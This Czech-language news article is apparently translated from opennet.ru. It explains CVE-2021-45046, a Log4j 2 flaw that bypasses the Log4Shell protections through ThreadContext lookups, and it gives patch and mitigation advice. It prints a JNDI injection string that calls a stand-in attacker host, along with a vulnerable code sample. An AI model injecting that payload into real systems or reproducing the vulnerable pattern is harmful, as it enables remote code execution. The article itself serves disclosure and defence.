Nová možnost útoku pro Log4j 2, která vám umožní obejít přidanou ochranu

Další chyba zabezpečení byla identifikována v implementaci vyhledávání JNDI v knihovně Log4j 2 (CVE-2021-45046), která se objevuje navzdory opravám přidaným ve verzi 2.15 a bez ohledu na použití nastavení „log4j2.noFormatMsgLookup“ pro ochranu. Problém je nebezpečný hlavně pro starší verze Log4j 2, chráněné pomocí příznaku „noFormatMsgLookup“, protože umožňuje obejít ochranu před předchozími zranitelnostmi (Log4Shell, CVE-2021-44228), což vám umožní spustit váš kód na server. Pro uživatele verze 2.15 je využití omezeno na způsobení pádu aplikace z důvodu vyčerpání dostupných zdrojů.

Tato chyba zabezpečení se objevuje pouze v systémech, které k protokolování používají kontextové vyhledávání, jako je ${ctx:loginId}, nebo šablony MDC (kontextová mapa vláken), jako jsou %X, %mdc a %MDC. Operace spočívá ve vytvoření podmínek pro výstup dat obsahujících substituce JNDI do protokolu při použití kontextových dotazů nebo šablon MDC v aplikaci, které definují pravidla pro formátování výstupu do protokolu.

Výzkumníci z LunaSec poznamenali, že u verzí Log4j nižších než 2.15 lze tuto chybu zabezpečení použít jako nový vektor pro útok Log4Shell vedoucí ke spuštění kódu, pokud jsou ve výstupu protokolu použity výrazy ThreadContext, které obsahují externí data, bez ohledu na to, zda je povolen příznak "protect". noMsgFormatLookups" nebo šablona "%m{nolookups}".

Nová možnost útoku pro Log4j 2, která vám umožní obejít přidanou ochranu

Obcházení ochrany spočívá ve skutečnosti, že namísto přímého nahrazení „${jndi:ldap://attacker.com/a}“ je tento výraz nahrazen hodnotou mezilehlé proměnné použité v pravidlech pro formátování výstupu protokolu . Pokud je například při výstupu do protokolu použit kontextový dotaz ${ctx:apiversion}, pak lze útok provést nahrazením dat „${jndi:ldap://attacker.com/a}“ do hodnota zapsaná do proměnné apiversion. Příklad zranitelného kódu: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Hodnota hlavičky HTTP "X-Api-Version" je předána ThreadContext ThreadContext.put("apiversion ", apiVersion); // Při výstupu do protokolu bude externí hodnota apiversion zpracována pomocí substituce ${ctx:apiversion} logger.info("Received a request for API version"); návrat "Ahoj světe!"; }

V Log4j verze 2.15 lze tuto chybu zabezpečení použít k provádění útoků DoS při předávání hodnot do ThreadContext, což vede ke smyčce ve zpracování šablony výstupního formátování.

Nová možnost útoku pro Log4j 2, která vám umožní obejít přidanou ochranu

K zablokování této chyby zabezpečení byly zveřejněny aktualizace 2.16 a 2.12.2. Ve větvi Log4j 2.16 je kromě oprav implementovaných ve verzi 2.15 a vazby požadavků JNDI LDAP na „localhost“ ve výchozím nastavení zcela zakázána funkce JNDI a je odstraněna podpora šablon pro nahrazování zpráv. Jako řešení zabezpečení se doporučuje odstranit třídu JndiLookup z cesty třídy (například „zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class“). .

Vzhled oprav v balíčcích můžete sledovat na stránkách distribucí (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) a výrobců platforem Java (GitHub, Docker, Oracle, vmWare, Broadcom a Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure atd.).

Zdroj: opennet.ru

Přidat komentář